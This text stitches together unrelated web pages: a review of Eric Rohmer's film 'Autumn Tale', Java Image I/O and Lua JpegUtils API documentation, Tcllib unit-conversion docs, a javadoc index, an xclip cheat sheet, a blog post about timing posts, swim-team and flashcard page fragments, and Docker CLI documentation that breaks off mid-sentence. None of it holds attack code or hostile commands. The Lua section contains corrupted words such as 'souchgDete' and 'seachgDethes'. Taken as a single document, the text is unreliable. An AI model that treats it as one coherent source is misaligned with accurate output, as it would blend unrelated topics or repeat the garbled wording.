AUTUMN TALE (CONTE D'AUTOMNE)(director/writer:Eric Rohmer; cinematographer: Diane Baratier; cast: Marie Riviere (Isabelle), Beatrice Romand (Magali), Alain Libolt (Gérald), Didier Sandre (Etienne), Alexia Portal (Rosine), Stephane Darmon (Leo), Aurelia Alcais (Emilia ), Matthieu Davette (Grégoire), Yves Alcais (Jean-Jacques), 1998-France)
Reviewed by Dennis Schwartz
Things in life are not perfect. The beautiful wine-growing region of the Rhone Valley in southern France is nearly perfect, but it has an eyesore, two smoke stacks from the power plant that smother the natural view. For the 79-year-old Eric Rohmer (My Night at Maud's/Claire's Knee/Perceval le Gallois), who spent his career making films in the school of realism, it is the natural things of life that provide him with his sense of wonder and beauty. To prove his point, we sit through a lecture on various weeds found where the grapes grow and note how unnecessary it is to spray poison on them and harmfully affect the grapes growing there, just because some people are put-off to look at them and insist on having things all tidied up. For him, nature is perfect and only man distorts it, and all he can do as a filmmaker is try to get at that natural beauty without distorting it further. He considers his filmmaking analogous to a religious person worshipping God. You could substitute him with his winemaker in the film and see that for them their work is an art not a business, that she makes her wine solely for the connoisseur who recognizes that her local Côte du Rhône is as good as a Gigondas is. So it is with Rohmer, who in actuality might not be such an exacting realist as first thought, but more of an artist who happens to be a realist, perhaps in the mode of a Monet, whose artistic work is appreciated because his water lilies mean more to him and should to us than just the flowers they are.
This is a very ordinary love story between middle-aged lonely people who are unable to make a connection with someone else, even though they are people who have a lot to give and are far from being losers. We see how they are unable to be completely happy without someone to love, that their work is only a small consolation for what they are missing. It might take a matchmaker to bring them together, but what will keep them together is the love they have for a moral and physical beauty, that it has to be both that attracts them in order for the romance to be complete. For Rohmer, being moral is simply living as simply as one would: being natural.
Being a French film, it is very chatty. It also takes a long time to develop as it makes sure that we understand all the people involved and what kind of philosophy about life they have, before we come to the crux of the story. How the people speak and how they react to the ordinary things in life, is really what Rohmer is interested in. It is what gives this film its flavor and distinguishes its director from others of the French New Wave, of which he is a part of.
To watch a Rohmer film like he intended it to be observed, is to take in the magnificence of the natural, whether it is the opening of the film when we are introduced to the town's older white buildings, as the light falls against them and contrasts its whiteness with its black shadows or if we view the verdant fall colors of the countryside and its sense of a cultivated peace as the sun shines on it. This sense of beauty has stood the test of time and is worth savoring.
The middle-age winemaker, with the frizzy black hair and alert dark-eyes, is the widowed Magali (Romand), whose grown daughter and college student son live away from her. She confides to her close childhood friend and town bookseller, Isabelle (Riviere), who visits her vineyard to invite her to her daughter Emilia's (Alcais) wedding, that she is not interested in having a man, she is too busy with the harvest; but, she also confides to her that she is lonely and could be with the right man if he would just appear. She seems to be disconsolate about her chances of getting the right man saying, "At my age, it's easier to find buried treasure than a man." Isabel is struck by her neighbor's plight and suggests taking out an ad in the paper, but that is soundly rejected by the proud and conservative woman. The happily married Isabel, decides to take the ad out without telling her friend. When she makes contact with the right guy, Gérald (Libolt), and goes out with him three times to make sure that he's right for her friend, she then surreptitiously invites him to her daughter's wedding to meet the unsuspecting Magali, that is after she surprises Gérald and tells him that the ad was not for her but for her vintner friend. Of course, she feels good that she can still attract a man and also do this good deed for her friend.
There is one more matchmaker in this film, Rosine (Alexia), a sweet but manipulative college student who is going out with Magali's son Leo (Darmon), on the rebound, after having a recent affair with her much older philosophy professor, Etienne (Sandre). Rosine loves Leo's mother but does not love her son, to his disappointment, and says she is only seeing Leo so she can continue talking with Magali. She has ended the affair with the professor, insisting on them remaining friends so she can pick up any pearls of wisdom he might throw out as they converse. She seems to love his philosophy more than she loves him. He, of course, can't keep his hands off her. Rosine feeling the emptiness in her friend's life, decides to bring the professor to Emilia's wedding and introduce him to Magali (figuring this way she can kill two birds with one stone, find him a woman and then she can feel safe to be his friend and in that way she will always have Magali, also, for a friend). she does this after she shows snapshots to each and tells them what she is doing. What distinguishes her matchmaking from Isabelle's, is that she does everything the proper way, telling all parties concerned, even Leo. But her matchmaking doesn't work because there is no chemistry them.
What is most endearing about the film, even if it is a bourgeois tale, is that it has a French charm to it and a deep-seated respect for all the people involved. That the amorous professor and the playful and impulsive Rosine and the dull Leo are shown in equal terms with the industrious Magali and the elegant Isabelle and the sincere salesman Gérald, which is a sly way of telling the story in a non-judgmental way. There's much to recommend in this film that feels right and touches a sore subject that should interest mostly those in their forties and later years of life; what the story lacks is a great deal of imagination and a something more substantial in it to make the modest story have something more to say than it does. The film only goes so far in being realistic before it has to resort to farcical contrivances to keep our interests. But even if it is not always interesting, it does keep us on our toes rooting for the nice winemaker to come up with something more than a bumper crop.
This was Rohmer's fourth and final film about the seasonal cycle, and it might be the best one, letting in the most sunlight and being very pleasurable to watch, highlighted by fine acting by all concerned. By the time the film ends, we have the feeling that we really know these individuals, it is as if we met them in real life and they have become our acquaintances.
REVIEWED ON 9/5/99 GRADE: B
Dennis Schwartz: "Ozus' World Movie Reviews"
http://www.sover.net/~ozus
<EMAIL_ADDRESS>© ALL RIGHTS RESERVED DENNIS SCHWARTZ
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Java Image I/O Technology
The Java Image I/O API,
developed through JSR-015, provides a
pluggable architecture for working with images stored in files and
accessed across the network. It offers substantially more
flexibility and power than the previous APIs for loading and saving
images.
The API provides a framework for the addition of format-specific
plugins. Plug-ins for several common formats are included with Java
Image I/O, but third parties can use this API to create their own
plugins to handle special formats.
API Specification
The Java Image I/O API Specification consists of the following
packages:
- javax.imageio
- the basic classes and interfaces for describing the contents of
image files, including metadata and thumbnails; controlling the
image reading and writing process; performing transcoding between
formats; and reporting errors.
- javax.imageio.event
- interfaces for dealing with synchronous notification of events
during the reading and writing of images.
- javax.imageio.metadata
- classes and interfaces for reading and writing image
metadata.
- javax.imageio.plugins.bmp
- a support class for the built-in BMP reader and writer
plug-ins.
- javax.imageio.plugins.jpeg
- some support classes for the built-in JPEG reader and writer
plug-ins.
- javax.imageio.spi
- service-provider interfaces for: readers, writers, transcoders;
and includes a runtime registry.
- javax.imageio.stream
- classes and interfaces for low-level I/O from files and
streams.
Tutorials and Programmer's Guides
The Java Image I/O API
Guide describes the API in more detail and demonstrates how
to use Java Image I/O to read and write images and write custom
plug-ins.
API Enhancements
More Information


Archive - This will archive data into Google Sheets
Send weekly attendance to Sheets
Archive attendance data at end of season
Archive Swimmer Access Codes
Reset - This will delete data forever
Warning!!! These buttons will delete important information! Proceed with caution please.
Reset Individual Attendance Total
Reset Group Attendance Totals
Reset Weekly Attendance History For Graphs


Knode
Your
Code
Free online coding resource
Flash Cards!
Please choose the level of difficulty:
Level 1
Level 2
Level 3
Drag & Drop Trivia!
Please choose the level of difficulty:
Level 1
Level 2
Level 3


File JpegUtils.lua
Functions
| JpegUtils.generateContentWithXmpMetadata (preamble, settingsBlockHeader, settingsPreamble, settings, settingsPostamble, postamble) | Synopsis: Write previously read stuff, and a modified settings block. |
| JpegUtils.parseJpegFileToPieces (contents) | Synopsis: Divide jpeg file into pieces - where the most coveted piece contains develop settings. |
| JpegUtils.reWriteFileWithChgDetMetadata (filePath, preamble, metadata, postamble) | Synopsis: Write a jpeg file given components previously read and new or updated chgDet-jpeg-metadata. |
| JpegUtils.reWriteFileWithMetadata (filePath, preamble, metadata, postamble, metadataSignature, blockType) | Rewrite file with metadata. |
| JpegUtils.readFileWithChgDetMetadata (filePath) | Synopsis: Read a jpeg file in such a way that it identifies chgDet-jpeg-metadata, and can be re-written with new or modified chgDet-jpeg-metadata with impunity. |
| JpegUtils.readFileWithMetadata (filePath, metadataSignature, blockType) | Synopsis: Read a file containing a block of metadata introduced by a signature at the beginning of the specified block type, and occupying the entire block. |
| JpegUtils.readFileWithXmpMetadata (filePath) | Synopsis: Reads the contents of specified file, seachgDethes for the block containing xmp/camera-raw-settings, and returns the stuff before the block, stuff after the block, and block contents. |
| JpegUtils.removeApp1Blocks (contents) | Synopsis: Removes APP1 blocks from jpeg content string. |
| JpegUtils.writeFileWithChgDetMetadata (filePath, contents, metadata) | Synopsis: Combine metadata with file contents and write to disk. |
| JpegUtils.writeFileWithMetadata (filePath, contents, metadata, metadataSignature, blockType) | Write file with metadata. |
Functions
- JpegUtils.generateContentWithXmpMetadata (preamble, settingsBlockHeader, settingsPreamble, settings, settingsPostamble, postamble)
-
Synopsis: Write previously read stuff, and a modified settings block. Algorithm: - compute new block length for settings block as: block length = length of settings preamble + length of settings + length of settings postamble - write preamble blocks - write settings preamble with modified block length - write modified settings - write settings postamble - write postamble blocks
Parameters:
-
preamble
: -
settingsBlockHeader
: -
settingsPreamble
: -
settings
: -
settingsPostamble
: -
postamble
:
-
- JpegUtils.parseJpegFileToPieces (contents)
-
Synopsis: Divide jpeg file into pieces - where the most coveted piece contains develop settings. ###: - maybe this should be in with the xmp-core functions, along with other xmp related functions. Pieces: - jpeg preamble: includes start of file through end of block without settings - settings block header: 4 byte app1 block header. - settingsPreamble: block content following header preceding selected settings attributes. - settingsString: attributes string containing selected settings. - settingsPreamble: block content following settings to end of app1 block. - jpegPostamble: remainder of jpeg file.
Parameters:
-
contents
:
-
- JpegUtils.reWriteFileWithChgDetMetadata (filePath, preamble, metadata, postamble)
-
Synopsis: Write a jpeg file given components previously read and new or updated chgDet-jpeg-metadata. Notes: Exported photos are always written with fresh souchgDete content, and so dont use this function, It is only used for video thumbnails, which are to be pre-rendered by the user as jpegs in catalog. Returns: true, nil: worked - no comment. true, comment: pretended to work - test-mode. false, comment: didn't work, and here's why. Notes: - Metadata format is a black box to this function. - signature is considered sacred: will never change.
Parameters:
-
filePath
: -
preamble
: -
metadata
: -
postamble
:
-
- JpegUtils.reWriteFileWithMetadata (filePath, preamble, metadata, postamble, metadataSignature, blockType)
-
Rewrite file with metadata.
Parameters:
-
filePath
: -
preamble
: -
metadata
: -
postamble
: -
metadataSignature
: -
blockType
:
-
- JpegUtils.readFileWithChgDetMetadata (filePath)
-
Synopsis: Read a jpeg file in such a way that it identifies chgDet-jpeg-metadata, and can be re-written with new or modified chgDet-jpeg-metadata with impunity. Motivation: To support chgDet-jpeg-metadata, namely photo-uuid for looking up souchgDete photo in lightroom catalog, and export-change-date which is used to avoid unnecessary updates and uploads. Notes: - Metadata format is a black box to this function. - signature is considered sacred: will never change. Initial Application: Metadata to contain photo-id & exact date/time of last souchgDete mod to support corelation of target to catalog database and change determination. Returns: preamble, chgDet-jpeg-metadata - undressed, postamble, nil -- worked: metadata nil if not present. nil, nil, nil, qualification -- failed.
Parameters:
-
filePath
:
-
- JpegUtils.readFileWithMetadata (filePath, metadataSignature, blockType)
-
Synopsis: Read a file containing a block of metadata introduced by a signature at the beginning of the specified block type, and occupying the entire block. Returns: The part before the block containing the target metadata as preamble, the part of the block after the metadata signature as metadata string, and subsequent blocks to end of file as the postamble. Note: The block header and metadata signature are missing from the returned data, thus to re-write the file, the missing data should be re-supplied, i.e. to write previously read file: - preamble verbatim - metadata block header with adjusted length - metadata signature - metadata string - postamble verbatim. Note: If metadata is absent, it still returns a preamble and postamble divided at the SOI marker, so file can be re-written even if metadata was not pre-existing.
Parameters:
-
filePath
: -
metadataSignature
: -
blockType
:
-
- JpegUtils.readFileWithXmpMetadata (filePath)
-
Synopsis: Reads the contents of specified file, seachgDethes for the block containing xmp/camera-raw-settings, and returns the stuff before the block, stuff after the block, and block contents. Note: xmp-meta data may span multiple blocks, and settings may be specified before and/or after saved settings. Limitations: the active camera-raw-settings must be contained in a single block, thus all other xmp-meta blocks are ignored. Returns: - preamble blocks - settings block preamble - settings - settings block postamble - postamble blocks. - msg Instructions: Call and save everything for re-write. if settings convert to table. pass saved settings and modified settings as string to rewrite.
Parameters:
-
filePath
:
-
- JpegUtils.removeApp1Blocks (contents)
-
Synopsis: Removes APP1 blocks from jpeg content string. Motivation: APP1 blocks contain changes like render date, that don't really mean the image has changed in any meaningful way. This function supports, lax jpeg file change detection. Instructions: Remove app1 blocks from souchgDete & target contents, then compare the results to decide if there are any meaningful differences.
Parameters:
-
contents
:
-
- JpegUtils.writeFileWithChgDetMetadata (filePath, contents, metadata)
-
Synopsis: Combine metadata with file contents and write to disk. Motivation: Supports Photooey which needs to write a newly rendered file to target with metadata. Returns: - true, nil: worked - no comment. - true, comment: pretended to work - test mode qualification. - false, error-message: failed. Notes: - Since contents comes from rendered file, it won't have metadata to be replaced, so can write as new.
Parameters:
-
filePath
: -
contents
: -
metadata
:
-
- JpegUtils.writeFileWithMetadata (filePath, contents, metadata, metadataSignature, blockType)
-
Write file with metadata.
Parameters:
-
filePath
: -
contents
: -
metadata
: -
metadataSignature
: -
blockType
:
-


units - unit conversion
This library provides a conversion facility from a variety of scientific and engineering shorthand notations into floating point numbers. This allows application developers to easily convert values with different units into uniformly scaled numbers.
The units conversion facility is also able to convert between compatible units. If, for example, a application is expecting a value in ohms (Resistance), and the user specifies units of milliwebers/femtocoulomb, the conversion routine will handle it appropriately. An error will be generated if an incorrect conversion is attempted.
Values are scaled from one set of units to another by dimensional analysis. Both the value units and the target units are reduced into primitive units and a scale factor. Units are checked for compatibility, and the scale factors are applied by multiplication and division. This technique is extremely flexible and quite robust.
New units and new unit abbreviations can be defined in terms of existing units and abbreviations. It is also possible to define a new primitive unit, although that will probably be unnecessary. New units will most commonly be defined to accommodate non-SI measurement systems, such as defining the unit inch as 2.54 cm.
Converts the value string into a floating point number, scaled to the specified targetUnits. The value string may contain a number and units. If units are specified, then they must be compatible with the targetUnits. If units are not specified for the value, then it will be scaled to the target units. For example,
% ::units::convert "2.3 miles" km 3.7014912 % ::units::convert 300m/s miles/hour<PHONE_NUMBER>16 % ::units::convert "1.0 m kg/s^2" newton 1.0 % ::units::convert 1.0 millimeter 1000.0
Returns a unit string consisting of a scale factor followed by a space separated list of sorted and reduced primitive units. The reduced unit string may include a forward-slash (separated from the surrounding primitive subunits by spaces) indicating that the remaining subunits are in the denominator. Generates an error if the unitString is invalid.
% ::units::reduce pascal 1000.0 gram / meter second second
Creates a new unit conversion with the specified name. The new unit name must be only alphabetic (upper or lower case) letters. The baseUnits string can consist of any valid units conversion string, including constant factors, numerator and denominator parts, units with prefixes, and exponents. The baseUnits may contain any number of subunits, but it must reduce to primitive units. BaseUnits could also be the string -primitive to represent a new kind of quantity which cannot be derived from other units. But you probably would not do that unless you have discovered some kind of new universal property.
% ::units::new furlong "220 yards" % ::units::new fortnight "14 days" % ::units::convert 100m/s furlongs/fortnight<PHONE_NUMBER>03
Value and unit string format is quite flexible. It is possible to define virtually any combination of units, prefixes, and powers. Valid unit strings must conform to these rules.
A unit string consists of an optional scale factor followed by zero or more subunits. The scale factor must be a valid floating point number, and may or may not be separated from the subunits. The scale factor could be negative.
Subunits are separated form each other by one or more separator characters, which are space (" "), hyphen ("-"), asterisk ("*"), and forward-slash ("/"). Sure, go ahead and complain about using a minus sign ("-") to represent multiplication. It just isn't sound mathematics, and, by rights, we should require everyone to use the asterisk ("*") to separate all units. But the bottom line is that complex unit strings like m-kg/s^2 are pleasantly readable.
The forward-slash seperator ("/") indicates that following subunits are in the denominator. There can be at most one forward-slash separator.
Subunits can be floating point scale factors, but with the exception of the leading scale factor, they must be surrounded by valid separators. Subunit scale factors cannot be negative. (Remember that the hyphen is a unit separator.)
Subunits can be valid units or abbreviations. They may include a prefix. They may include a plural suffix "s" or "es". They may also include a power string denoted by a circumflex ("^"), followed by a integer, after the unit name (or plural suffix, if there is one). Negative exponents are not allowed. (Remember that the hyphen is a unit separator.)
Unit String Reduced Unit String ------------------------------------------------------------ meter 1.0 meter kilometer 1000.0 meter km 1000.0 meter km/s 1000.0 meter / second /microsecond 1000000.0 / second /us 1000000.0 / second kg-m/s^2 1000.0 gram meter / second second 30second 30.0 second 30 second 30.0 second 30 seconds 30.0 second 200*meter/20.5*second 9.75609756098 meter / second
The standard SI units are predefined according to NIST Special Publication 330. Standard units for both SI Base Units (Table 1) and SI Derived Units with Special Names (Tables 3a and 3b) are included here for reference. Each standard unit name and abbreviation are included in this package.
 The abbreviation for Electric Resistance (ohms), which is the omega character, is not supported.
Also note that there is no support for Celsius or Farenheit temperature. The units conversion routines can only scale values with multiplication and division, so it is not possible to convert from thermodynamic temperature (kelvins) to absolute degrees Celsius or Farenheit. Conversion of thermodynamic quantities, such as thermal expansion (per unit temperature), however, are easy to add to the units library.
SI Units can have a multiple or sub-multiple prefix. The prefix or its abbreviation should appear before the unit, without spaces. Compound prefixes are not allowed, and a prefix should never be used alone. These prefixes are defined in Table 5 of Special Publication 330.
Prefix Name Abbr. Factor --------------------------------------- yotta Y 1e24 zetta Z 1e21 exa E 1e18 peta P 1e15 tera T 1e12 giga G 1e9 mega M 1e6 kilo k 1e3 hecto h 1e2 deka da 1e1 deca 1e1 deci d 1e-1 centi c 1e-2 milli m 1e-3 micro u 1e-6 nano n 1e-9 pico p 1e-12 femto f 1e-15 atto a 1e-18 zepto z 1e-21 yocto y 1e-24
Note that we define the same prefix with both the USA ("deka") and non-USA ("deca") spellings. Also note that we take the liberty of allowing "micro" to be typed as a "u" instead of the Greek character mu.
Many non-SI units are commonly used in applications. Appendix B.8 of NIST Special Publication 811 lists many non-SI conversion factors. It is not possible to include all possible unit definitions in this package. In some cases, many different conversion factors exist for a given unit, depending on the context. (The appendix lists over 40 conversions for British thermal units!) Application specific conversions can always be added using the new command, but some well known and often used conversions are included in this package.
 This package does not consider any of the quantity names for either base or derived units. A similar implementation or an extension in a typed or object-oriented language might introduce user defined types for the quantities. Quantity type checking could be used, for example, to ensure that all length values properly reduced to meters, or that all velocity values properly reduced to meters/second.
A C implementation of this package has been created to work in conjunction with the Simplified Wrapper Interface Generator (http://www.swig.org/). That package (units.i) exploits SWIG's typemap system to automatically convert script quantity strings into floating point quantities. Function arguments are specified as quantity types (e.g., typedef float Length), and target units (expected by the C application code) are specified in an associative array. Default units are also defined for each quantity type, and are applied to any unit-less quantity strings.
A units system enhanced with quantity type checking might benefit from inclusion of other derived types which are expressed in terms of special units, as illustrated in Table 2 of NIST Publication 330. The quantity area, for example, could be defined as units properly reducing to meter^2, although the utility of defining a unit named square meter is arguable.
The unit names, abbreviations, and conversion values are derived from those published by the United States Department of Commerce Technology Administration, National Institute of Standards and Technology (NIST) in NIST Special Publication 330: The International System of Units (SI) and NIST Special Publication 811: Guide for the Use of the International System of Units (SI). Both of these publications are available (as of December 2000) from http://physics.nist.gov/cuu/Reference/contents.html
The ideas behind implementation of this package is based in part on code written in 1993 by Adrian Mariano which performed dimensional analysis of unit strings using fixed size tables of C structs. After going missing in the late 1990's, Adrian's code has reappeared in the GNU Units program at http://www.gnu.org/software/units/
Robert W. Techentin
This document, and the package it describes, will undoubtedly contain bugs and other problems. Please report such in the category units of the Tcllib Trackers. Please also report any ideas for enhancements you may have for either package and/or documentation.
When proposing code changes, please provide unified diffs, i.e the output of diff -u.
Note further that attachments are strongly preferred over inlined patches. Attachments can be made by going to the Edit form of the ticket immediately after its creation, and then using the left-most button in the secondary navigation bar.
Copyright © 2000-2005 Mayo Foundation


- Call - Class in slyx.utils
-
Created by Antoine Janvier
on 01/08/17.
- Call(User, User) - Constructor for class slyx.utils.Call
-
- callContact() - Method in class slyx.controllers.ContactProfileController
-
- CallWindowController - Class in slyx.controllers
-
Created by Antoine Janvier
on 28/08/17.
- CallWindowController() - Constructor for class slyx.controllers.CallWindowController
-
- CDL - Class in slyx.libs
-
This provides static methods to convert comma delimited text into a
JSONArray, and to convert a JSONArray into comma delimited text.
- CDL() - Constructor for class slyx.libs.CDL
-
- clear() - Method in class slyx.jsonsimple.ItemList
-
- close() - Method in class slyx.communication.SlyxSocket
-
Close all processes in this instance and set the instance and the connected user to null
- closePanelSettings() - Method in class slyx.controllers.SettingsController
-
- closeWindow() - Method in class slyx.controllers.AddContactController
-
- ContactController - Class in slyx.controllers
-
Created by Antoine Janvier
on 31/07/17.
- ContactController() - Constructor for class slyx.controllers.ContactController
-
- ContactProfileController - Class in slyx.controllers
-
Created by Antoine Janvier
on 13/08/17.
- ContactProfileController() - Constructor for class slyx.controllers.ContactProfileController
-
- ContactRequestController - Class in slyx.controllers
-
Created by Antoine Janvier
on 13/08/17.
- ContactRequestController() - Constructor for class slyx.controllers.ContactRequestController
-
- ContainerFactory - Interface in slyx.jsonsimple.parser
-
Container factory for creating containers for JSON object and JSON array.
- ContentHandler - Interface in slyx.jsonsimple.parser
-
A simplified and stoppable SAX-like content handler for stream processing of JSON text.
- Cookie - Class in slyx.libs
-
Convert a web browser cookie specification to a JSONObject and back.
- Cookie() - Constructor for class slyx.libs.Cookie
-
- CookieList - Class in slyx.libs
-
Convert a web browser cookie list string to a JSONObject and back.
- CookieList() - Constructor for class slyx.libs.CookieList
-
- creatArrayContainer() - Method in interface slyx.jsonsimple.parser.ContainerFactory
-
- createObjectContainer() - Method in interface slyx.jsonsimple.parser.ContainerFactory
-
- CRLF - Static variable in class slyx.libs.HTTP
-
Carriage return/line feed.


xclip
X11 clipboard manipulation tool, similar to `xsel`.
Handles the X primary and secondary selections, plus the system clipboard (`Ctrl + C`/`Ctrl + V`).
More information: home page
- Copy the output from a command to the X11 primary selection area (clipboard):
echo 123 | xclip
- Copy the output from a command to a given X11 selection area:
echo 123 | xclip -selection primary|secondary|clipboard
- Copy the output from a command to the system clipboard, using short notation:
echo 123 | xclip -sel clip
- Copy the contents of a file into the system clipboard:
xclip -sel clip input_file.txt
- Copy the contents of a PNG into the system clipboard (can be pasted in other programs correctly):
xclip -sel clip -t image/png input_file.png
- Copy the user input in the console into the system clipboard:
xclip -i
- Paste the contents of the X11 primary selection area to the console:
xclip -o
- Paste the contents of the system clipboard to the console:
xclip -o -sel clip


--- layout: post title: How can I post from work when I don't post from work ---
Some of you might have noticed how my posts shows up during my work hours.
The thing is, I don’t blog from work. I read, may occasionally point to something interesting, but I don’t write big entries from work.  I mean don't you have a life?? ))).
Well, I have a small tool that lets me schedule on top of dasBlog when my messages will appear, based on the time of the day. Each day is mostly scripted and published during the evening, and the blogs are distilled throughout the day. Why do you ask?
Well, as I said earlier, the more posts, the more readers. But what if you blog in an hour, and everybody gets 25 messages in their reader? They don’t read you. By scripting my day in advance, I keep the reader hooked up on reading me throughout the day. That way, any IT guy that gets bored can start his aggregator and hopefully read a bit of snippet from me. The objective? Each time someone open his aggregator, I have one or two messages posted. I currently evaluate that as one look every 3 hours for a 10 hours day of work, plus one view at night. I tend to keep the big entries for the night read, but my post count is too low to post 2 messages every 3 hours during the day like I intend to do.
Does that sound artificial? It is definitely counter intuitive for those that consider a blog as a simple publishing medium.  It is purely selfish, and on the verge of marketing. But hey, even geeks can have some skills in these areas!


Use the Docker command line
読む時間の目安: 16 分docker
To list available commands, either run docker
with no parameters
or execute docker help
:
$ docker
Usage: docker [OPTIONS] COMMAND [ARG...]
docker [ --help | -v | --version ]
A self-sufficient runtime for containers.
Options:
--config string Location of client config files (default "/root/.docker")
-c, --context string Name of the context to use to connect to the daemon (overrides DOCKER_HOST env var and default context set with "docker context use")
-D, --debug Enable debug mode
--help Print usage
-H, --host value Daemon socket(s) to connect to (default [])
-l, --log-level string Set the logging level ("debug"|"info"|"warn"|"error"|"fatal") (default "info")
--tls Use TLS; implied by --tlsverify
--tlscacert string Trust certs signed only by this CA (default "/root/.docker/ca.pem")
--tlscert string Path to TLS certificate file (default "/root/.docker/cert.pem")
--tlskey string Path to TLS key file (default "/root/.docker/key.pem")
--tlsverify Use TLS and verify the remote
-v, --version Print version information and quit
Commands:
attach Attach to a running container
# […]
Description
Depending on your Docker system configuration, you may be required to preface
each docker
command with sudo
. To avoid having to use sudo
with the
docker
command, your system administrator can create a Unix group called
docker
and add users to it.
For more information about installing Docker or sudo
configuration, refer to
the installation instructions for your operating system.
Environment variables
For easy reference, the following list of environment variables are supported
by the docker
command line:
DOCKER_API_VERSION
The API version to use (e.g.1.19
)DOCKER_CONFIG
The location of your client configuration files.DOCKER_CERT_PATH
The location of your authentication keys.DOCKER_CLI_EXPERIMENTAL
Enable experimental features for the cli (e.g.enabled
ordisabled
)DOCKER_DRIVER
The graph driver to use.DOCKER_HOST
Daemon socket to connect to.DOCKER_NOWARN_KERNEL_VERSION
Prevent warnings that your Linux kernel is unsuitable for Docker.DOCKER_RAMDISK
If set this will disable ‘pivot_root’.DOCKER_STACK_ORCHESTRATOR
Configure the default orchestrator to use when usingdocker stack
management commands.DOCKER_TLS
When set Docker uses TLS.DOCKER_TLS_VERIFY
When set Docker uses TLS and verifies the remote.DOCKER_CONTENT_TRUST
When set Docker uses notary to sign and verify images. Equates to--disable-content-trust=false
for build, create, pull, push, run.DOCKER_CONTENT_TRUST_SERVER
The URL of the Notary server to use. This defaults to the same URL as the registry.DOCKER_HIDE_LEGACY_COMMANDS
When set, Docker hides “legacy” top-level commands (such asdocker rm
, anddocker pull
) indocker help
output, and onlyManagement commands
per object-type (e.g.,docker container
) are printed. This may become the default in a future release, at which point this environment-variable is removed.DOCKER_TMPDIR
Location for temporary Docker files.DOCKER_CONTEXT
Specify the context to use (overrides DOCKER_HOST env var and default context set with “docker context use”)DOCKER_DEFAULT_PLATFORM
Specify the default platform for the commands that take the--platform
flag.
Because Docker is developed using Go, you can also use any environment variables used by the Go runtime. In particular, you may find these useful:
HTTP_PROXY
HTTPS_PROXY
NO_PROXY
These Go environment variables are case-insensitive. See the Go specification for details on these variables.
Configuration files
By default, the Docker command line stores its configuration files in a
directory called .docker
within your $HOME
directory.
Docker manages most of the files in the configuration directory
and you should not modify them. However, you can modify the
config.json
file to control certain aspects of how the docker
command behaves.
You can modify the docker
command behavior using environment
variables or command-line options. You can also use options within
config.json
to modify some of the same behavior. If an environment variable
and the --config
flag are set, the flag takes precedent over the environment
variable. Command line options override environment variables and environment
variables override properties you specify in a config.json
file.
Change the .docker
directory
To specify a different directory, use the DOCKER_CONFIG
environment variable or the --config
command line option. If both are
specified, then the --config
option overrides the DOCKER_CONFIG
environment
variable. The example below overrides the docker ps
command using a
config.json
file located in the ~/testconfigs/
directory.
$ docker --config ~/testconfigs/ ps
This flag only applies to whatever command is being ran. For persistent
configuration, you can set the DOCKER_CONFIG
environment variable in your
shell (e.g. ~/.profile
or ~/.bashrc
). The example below sets the new
directory to be HOME/newdir/.docker
.
echo export DOCKER_CONFIG=$HOME/newdir/.docker > ~/.profile
config.json
properties
The config.json
file stores a JSON encoding of several properties:
The property HttpHeaders
specifies a set of headers to include in all messages
sent from the Docker client to the daemon. Docker does not try to interpret or
understand these header; it simply puts them into the messages. Docker does
not allow these headers to change any headers it sets for itself.
The property psFormat
specifies the default format for docker ps
output.
When the --format
flag is not provided with the docker ps
command,
Docker’s client uses this property. If this property is not set, the client
falls back to the default table format. For a list of supported formatting
directives, see the
Formatting section in the docker ps
documentation
The property imagesFormat
specifies the default format for docker images
output.
When the --format
flag is not provided with the docker images
command,
Docker’s client uses this property. If this property is not set, the client
falls back to the default table format. For a list of supported formatting
directives, see the Formatting section in the docker images
documentation
The property pluginsFormat
specifies the default format for docker plugin ls
output.
When the --format
flag is not provided with the docker plugin ls
command,
Docker’s client uses this property. If this property is not set, the client
falls back to the default table format. For a list of supported formatting
directives, see the Formatting section in the docker plugin ls
documentation
The property servicesFormat
specifies the default format for docker
service ls
output. When the --format
flag is not provided with the
docker service ls
command, Docker’s client uses this property. If this
property is not set, the client falls back to the default json format. For a
list of supported formatting directives, see the
Formatting section in the docker service ls
documentation
The property serviceInspectFormat
specifies the default format for docker
service inspect
output. When the --format
flag is not provided with the
docker service inspect
command, Docker’s client uses this property. If this
property is not set, the client falls back to the default json format. For a
list of supported formatting directives, see the
Formatting section in the docker service inspect
documentation
The property statsFormat
specifies the default format for docker
stats
output. When the --format
flag is not provided with the
docker stats
command, Docker’s client uses this property. If this
property is not set, the client falls back to the default table
format. For a list of supported formatting directives, see
Formatting section in the docker stats
documentation
The property secretFormat
specifies the default format for docker
secret ls
output. When the --format
flag is not provided with the
docker secret ls
command, Docker’s client uses this property. If this
property is not set, the client falls back to the default table
format. For a list of supported formatting directives, see
Formatting section in the docker secret ls
documentation
The property nodesFormat
specifies the default format for docker node ls
output.
When the --format
flag is not provided with the docker node ls
command,
Docker’s client uses the value of nodesFormat
. If the value of nodesFormat
is not set,
the client uses the default table format. For a list of supported formatting
directives, see the Formatting section in the docker node ls
documentation
The property configFormat
specifies the default format for docker
config ls
output. When the --format
flag is not provided with the
docker config ls
command, Docker’s client uses this property. If this
property is not set, the client falls back to the default table
format. For a list of supported formatting directives, see
Formatting section in the docker config ls
documentation
The property credsStore
specifies an external binary to serve as the default
credential store. When this property is set, docker login
will attempt to
store credentials in the binary specified by docker-credential-<value>
which
is visible on $PATH
. If this property is not set, credentials will be stored
in the auths
property of the config. For more information, see the
Credentials store section in the docker login
documentation
The property credHelpers
specifies a set of credential helpers to use
preferentially over credsStore
or auths
when storing and retrieving
credentials for specific registries. If this property is set, the binary
docker-credential-<value>
will be used when storing or retrieving credentials
for a specific registry. For more information, see the
Credential helpers section in the docker login
documentation
The property stackOrchestrator
specifies the default orchestrator to use when
running docker stack
management commands. Valid values are "swarm"
,
"kubernetes"
, and "all"
. This property can be overridden with the
DOCKER_STACK_ORCHESTRATOR
environment variable, or the --orchestrator
flag.
The property proxies
specifies proxy environment variables to be automatically
set on containers, and set as --build-arg
on containers used during docker build
.
A "default"
set of proxies can be configured, and will be used for any docker
daemon that the client connects to, or a configuration per host (docker daemon),
for example, “https://docker-daemon1.example.com”. The following properties can
be set for each environment:
httpProxy
(sets the value ofHTTP_PROXY
andhttp_proxy
)httpsProxy
(sets the value ofHTTPS_PROXY
